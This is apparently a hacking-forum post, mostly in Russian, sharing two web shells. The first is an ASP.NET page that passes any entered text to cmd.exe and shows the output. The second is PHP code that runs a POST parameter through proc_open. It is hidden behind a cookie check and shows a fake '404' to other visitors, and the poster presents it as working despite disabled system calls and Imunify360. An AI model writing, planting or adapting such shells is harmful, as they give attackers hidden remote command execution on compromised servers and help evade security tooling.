<%@ import namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
    Dim myProcess As New Process()
    Dim myProcessStartInfo As New ProcessStartInfo("cmd.exe")
    myProcessStartInfo.UseShellExecute = False
    myProcessStartInfo.RedirectStandardOutput = true
    myProcess.StartInfo = myProcessStartInfo
    myProcessStartInfo.Arguments="/c " & Cmd.text
    myProcess.Start()
    Dim myStreamReader As StreamReader = myProcess.StandardOutput
    Dim myString As String = myStreamReader.Readtoend()
    myProcess.Close()
    result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
    cmd.text=""
End Sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
</head>
<body>
<form runat="server">
  <asp:TextBox ID="cmd" runat="server" style="border: 1px solid #084B8E"/>
  <asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>
  <p>
    <asp:Label ID="result" runat="server" style="color: #0000FF"/>      </p>
</form>
</body>
</html>
image.png
 
На текущий момент мой рабочий вариант как при отключеных системных вызовах так и при условном imunify360 это proc_open:

Код:
<?php
if (isset($_COOKIE['XSSPRO'])) { $command = $_POST['random']; $descriptorspec = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
   $process = proc_open($command, $descriptorspec, $pipes);
        if (is_resource($process)) {
        fclose($pipes[0]);  $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);  $error = stream_get_contents($pipes[2]);
        fclose($pipes[2]);  $return_value = proc_close($process);
        if ($return_value === 0) { echo "Command Output:\n$output"; } else { echo "Command Error:\n$error"; }
    } else { echo "Failed to open process."; }
    } else { echo "404"; }
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх